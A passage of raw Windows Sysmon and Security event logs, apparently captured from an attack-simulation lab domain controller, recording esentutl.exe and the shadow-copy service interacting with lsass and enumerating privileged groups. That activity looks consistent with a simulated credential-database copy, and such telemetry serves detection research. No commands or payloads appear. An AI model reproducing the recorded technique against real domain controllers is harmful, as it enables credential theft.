\r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222112,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222113,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222114,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222115,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222116,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 